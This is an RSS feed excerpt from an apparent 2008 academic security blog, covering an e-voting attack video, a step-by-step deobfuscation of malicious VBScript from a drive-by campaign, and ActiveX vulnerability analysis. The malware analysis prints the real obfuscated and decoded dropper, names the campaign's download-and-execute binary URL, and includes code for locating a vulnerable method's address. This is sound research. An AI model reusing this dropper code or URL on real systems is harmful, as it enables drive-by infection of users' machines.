pluginspage="http://www.apple.com/quicktime/download/" 
src="data/ucsb_evoting_attack-poster.jpg" 
href="http://www.cs.ucsb.edu/~marco/data/ucsb_evoting_attack.mov" 
target="myself" controller="false"
autoplay="false" scale="aspect" /&gt;
&lt;/object&gt;&lt;/p&gt;

&lt;p&gt;You can download the video from
&lt;a href="http://www.cs.ucsb.edu/~marco/data/ucsb_evoting_attack.mov
" title="Security Evaluation of the Sequoia voting system (video)"&gt;here&lt;/a&gt;. More
information is available on the &lt;a href="http://www.cs.ucsb.edu/~seclab/projects/voting/" title="Evaluating the
Security of Electronic Voting Systems [cs.ucsb.edu]"&gt;Computer Security Group's voting
page&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: the group's site has been
&lt;a href="http://it.slashdot.org/it/08/09/09/1426246.shtml" title="Video
Shows Easy Hacking of E-Voting Machines [slashdot.org]"&gt;slashdotted&lt;/a&gt;... 
The video can be found on youtube (&lt;a href="http://www.youtube.com/watch?v=SWDEZqqqBHE" title="[youtube.com]"&gt;part
I&lt;/a&gt;, &lt;a href="http://www.youtube.com/watch?v=moEsgdzZ19c" title="[youtube.com]"&gt;part
II&lt;/a&gt;)&lt;/p&gt;
</description><category>evoting</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/09/attacking-electronic-voting-systems-the-video.html</guid><pubDate>Mon, 08 Sep 2008 21:10:00 GMT</pubDate></item><item><title>VBScript attack</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/09/vbscript-attack.html</link><description>&lt;p&gt;What is VBScript used for? For web attacks, of course!  &lt;/p&gt;

&lt;p&gt;For example, flyzhu.9966.org, a domain used in the recent SQL injection
campaigns (and, surprisingly, still active), offers some nice examples of
malicious VBScript code. To run these samples, you can use
&lt;a href="http://technet.microsoft.com/en-us/library/bb490887.aspx" title="Using the
command-based script host (CScript.exe) [microsoft.com]"&gt;Cscript&lt;/a&gt; under Windows. To
dump interesting values to the console, just use the &lt;code&gt;WScript.Echo&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;On flyzhu.9966.org, the first step of the attack is performed by
following script:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="nx"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;VBScript&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nx"&gt;Cn911&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;83,61,34,51,67,53,...,84,69,32,68&amp;quot;&lt;/span&gt;
&lt;span class="nb"&gt;Function&lt;/span&gt; &lt;span class="nx"&gt;Rechange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;S&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;Split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Q&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;,&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;Cn922&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class="nx"&gt;For&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="nx"&gt;To&lt;/span&gt; &lt;span class="nx"&gt;UBound&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;S&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nx"&gt;Cn922&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;Cn922&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;Chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;S&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
    &lt;span class="nx"&gt;Next&lt;/span&gt;
    &lt;span class="nx"&gt;Rechange&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;Cn922&lt;/span&gt;
&lt;span class="nx"&gt;End&lt;/span&gt; &lt;span class="nb"&gt;Function&lt;/span&gt;
&lt;span class="nx"&gt;EXECUTE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Rechange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Cn911&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The actual content, in the &lt;code&gt;Cn911&lt;/code&gt; variable, is obfuscated by
substituting each character with its ASCII encoding. Once decoded, one
obtains another obfuscated script:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nx"&gt;S&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;3C5363726970...6970743E&amp;quot;&lt;/span&gt;
&lt;span class="nx"&gt;D&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Document.Write &amp;quot;&amp;quot;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="nx"&gt;C&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;amp;CHR(&amp;amp;H&amp;quot;&lt;/span&gt;
&lt;span class="nx"&gt;N&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;)&amp;quot;&lt;/span&gt;
&lt;span class="nx"&gt;DO&lt;/span&gt; &lt;span class="nx"&gt;WHILE&lt;/span&gt; &lt;span class="nx"&gt;LEN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;S&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nx"&gt;IF&lt;/span&gt; &lt;span class="nx"&gt;ISNUMERIC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;LEFT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;S&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="nx"&gt;THEN&lt;/span&gt;
        &lt;span class="nx"&gt;D&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;D&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;C&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;LEFT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;S&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;N&lt;/span&gt;
        &lt;span class="nx"&gt;S&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;MID&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;S&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
    &lt;span class="nx"&gt;ELSE&lt;/span&gt; 
        &lt;span class="nx"&gt;D&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;D&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;C&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;LEFT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;S&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;N&lt;/span&gt;
        &lt;span class="nx"&gt;S&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;MID&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;S&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;LOOP&lt;/span&gt;
&lt;span class="nx"&gt;EXECUTE&lt;/span&gt; &lt;span class="nx"&gt;D&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The ASCII encoding trick is used again to obfuscate the actual content.
The loop essentially reads two characters at a time from &lt;code&gt;S&lt;/code&gt;, interprets
them as a hex number, and substitutes the corresponding character in the
ASCII encoding. The result is yet another obfuscated script:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nx"&gt;Document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Write&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;CHR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;H3C&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;CHR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;H53&lt;/span&gt;&lt;span class="p"&gt;)...&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;CHR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;H70&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;CHR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;H74&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;CHR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;H3E&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The third round uses, again, ASCII encoding. Once deobfuscated, one
obtains:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Script&lt;/span&gt; &lt;span class="nx"&gt;Language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;VBScript&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nx"&gt;On&lt;/span&gt; &lt;span class="nb"&gt;Error&lt;/span&gt; &lt;span class="nx"&gt;Resume&lt;/span&gt; &lt;span class="nx"&gt;Next&lt;/span&gt;
&lt;span class="nx"&gt;Set&lt;/span&gt; &lt;span class="nx"&gt;Ob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CreateElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;object&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;Ob&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SetAttribute&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;classid&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;clsid:BD96C556-65A3-11D0-983A-00C04FC29E36&amp;quot;&lt;/span&gt;
&lt;span class="nx"&gt;Set&lt;/span&gt; &lt;span class="nx"&gt;Pop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Ob&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Createobject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Adodb.Stream&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;If&lt;/span&gt; &lt;span class="nx"&gt;Not&lt;/span&gt; &lt;span class="nx"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;Number&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="nx"&gt;then&lt;/span&gt;
    &lt;span class="nx"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;clear&lt;/span&gt;
    &lt;span class="nx"&gt;Document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;embed src=flash.swf&amp;gt;&amp;lt;/embed&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;Document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;iFrame sRc=real.htm width=0 height=0&amp;gt;&amp;lt;/ifrAmE&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;Document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;iFrame sRc=new.htm width=0 height=0&amp;gt;&amp;lt;/ifrAmE&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;Else&lt;/span&gt;
    &lt;span class="nx"&gt;Document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;iFrame sRc=help.htm width=0 height=0&amp;gt;&amp;lt;/ifrAmE&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;End&lt;/span&gt; &lt;span class="nx"&gt;If&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nx"&gt;Script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This script checks if the browser is vulnerable to the MDAC remote code
execution exploit
(&lt;a href="http://www.microsoft.com/technet/security/Bulletin/ms06-014.mspx
" title="Microsoft Security Bulletin MS06-014 [microsoft.com]"&gt;MS06-014&lt;/a&gt;), and, depending on the
result, loads different files. In all cases, these files attempt to exploit
various vulnerabilities to download and execute a binary from
http://www.tlcn.net/cert/fuckkr.exe. &lt;/p&gt;

&lt;p&gt;In particular, the loaded files are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;real.html, after 3 rounds of VBScript deobfuscation identical to the
ones shown before, reveals an exploit for the &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5601
" title="CVE-2007-5601 [mitre.org]"&gt;RealPlayer IERPCtl
ActiveX buffer
overflow&lt;/a&gt; vulnerability.&lt;/li&gt;
&lt;li&gt;new.html is an obfuscated JavaScript file that exploits the
&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1309
" title="CVE-2008-1309 [mitre.org]"&gt;RealPlayer
Console&lt;/a&gt; vulnerability&lt;/li&gt;
&lt;li&gt;help.html uses the 3 rounds of VBScript deobfuscation, again, and
attempts to use the MDAC vulnerability&lt;/li&gt;
&lt;/ul&gt;
</description><category>malware</category><category>vbscript</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/09/vbscript-attack.html</guid><pubDate>Tue, 02 Sep 2008 23:48:00 GMT</pubDate></item><item><title>Analyzing ActiveX controls</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/08/analyzing-activex-controls.html</link><description>&lt;p&gt;In my post about the vulnerability in the
&lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/08/web-client-exploit-zoo-superbuddy.html"&gt;SuperBuddy&lt;/a&gt;
ActiveX control, I've glossed over a couple of details that may be
interesting:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;how to know which methods are exposed by an ActiveX control&lt;/li&gt;
&lt;li&gt;how to identify a specific method in the binary object of the
control.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Several tools solve the first problem. In particular, I like
&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=5233b70d-d9b2-4cb5-aeb6-45664be858b6&amp;amp;displaylang=en"&gt;OLE/COM Object
Viewer&lt;/a&gt;
(oleviewer, in short)
and
&lt;a href="http://labs.idefense.com/software/fuzzing.php#more_comraider"&gt;COMRaider&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For example, oleviewer shows the following information about SuperBuddy:&lt;/p&gt;

&lt;p&gt;&lt;a href="images/blog/superbuddy-control.png"&gt;
&lt;img src="images/blog/superbuddy-control.png"
     class="figure-centered"
     alt="Information about SuperBuddy shown by oleviewer"
     title="Information about SuperBuddy shown by oleviewer (click for larger picture)"
     width="500" height="333"/&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In particular, note the CLSID and the ProgID fields (you'll need these
values if you want to instantiate the control), and the path to the DLL
that provides the control. On the left hand side, there is the list of
interfaces implemented by the control. &lt;/p&gt;

&lt;p&gt;If you focus on the ISuperBuddy interface, you obtain the list of its
methods. As expected, the vulnerable method LinkSBIcons is shown and we
can also see its signature.&lt;/p&gt;

&lt;p&gt;&lt;a href="images/blog/isuperbuddy.png"&gt;
&lt;img src="images/blog/isuperbuddy.png"
     class="figure-centered"
     alt="The ISuperBuddy interface"
     title="The ISuperBuddy interface (click for larger picture)"
     width="500" height="279"/&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For the second problem (getting the address of a method), I could not
find a better way than instantiating a control and dumping its virtual
table (I see that this is essentially the solution also proposed by the
folks at
&lt;a href="http://securitylabs.websense.com/content/Blogs/3166.aspx" title="
Finding the virtual address of COM object functions [websense.com]"&gt;Websense&lt;/a&gt;):&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="cp"&gt;#include &amp;quot;stdafx.h&amp;quot;&lt;/span&gt;
&lt;span class="cp"&gt;#import &amp;quot;C:\\Program Files\\AOL 9.0\\sb.dll&amp;quot;&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;_tmain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_TCHAR&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;SBLib&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ISuperBuddy&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;pSb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;CoInitialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;HRESULT&lt;/span&gt; &lt;span class="n"&gt;hr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CoCreateInstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__uuidof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SBLib&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;SuperBuddy&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; 
                   &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                   &lt;span class="n"&gt;CLSCTX_INPROC_SERVER&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;CLSCTX_LOCAL_SERVER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                   &lt;span class="kr"&gt;__uuidof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SBLib&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ISuperBuddy&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
                   &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LPVOID&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;pSb&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hr&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;S_OK&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;vtable&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;pSb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;vtable&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%02d: %p&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;CoCreateInstance error: %x&lt;/span&gt;&lt;span class="se"&gt;\\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The functions are in the same order as shown by oleviewer: at index 2
you find IUnknown::Release(), and, then, counting up, all the others.
LinkSBIcons is at index 49, which corresponds to address 0x6398692D.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;00: 63984070
01: 63983FEC
02: 63983FFC
...
48: 639870C9
49: 6398692D
50: 6398735B
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Let me know if you know a better way to do this!&lt;/p&gt;
</description><category>binary</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/08/analyzing-activex-controls.html</guid><pubDate>Sat, 30 Aug 2008 18:34:00 GMT</pubDate></item><item><title>Web client exploit zoo: SuperBuddy</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/08/web-client-exploit-zoo-superbuddy.html</link><description>&lt;p&gt;In previous posts, I've talked about JavaScript-based attacks, which are
often used, for example, in drive-by exploits. With this and some of the
next posts, I'll look more in detail at the actual vulnerabilities and
exploits used in these attacks. I will leave the discussion of how to
make reliable exploits for another series of posts (spoiler: heap spray
and similar techniques) ;-)&lt;/p&gt;

&lt;p&gt;So, let's start with the AOL SuperBuddy exploit. SuperBuddy is an
ActiveX control in America Online 9.0. Its method LinkSBIcons
dereferences an arbitrary function pointer, allowing remote attackers to
execute arbitrary code by modifying the pointer value. The vulnerability
is cataloged as
&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5820
" title="CVE-2006-5820 [mitre.org]"&gt;CVE-2006-5820&lt;/a&gt; in the CVE database.&lt;/p&gt;

&lt;p&gt;Here is a typical exploit (it is also available as a 
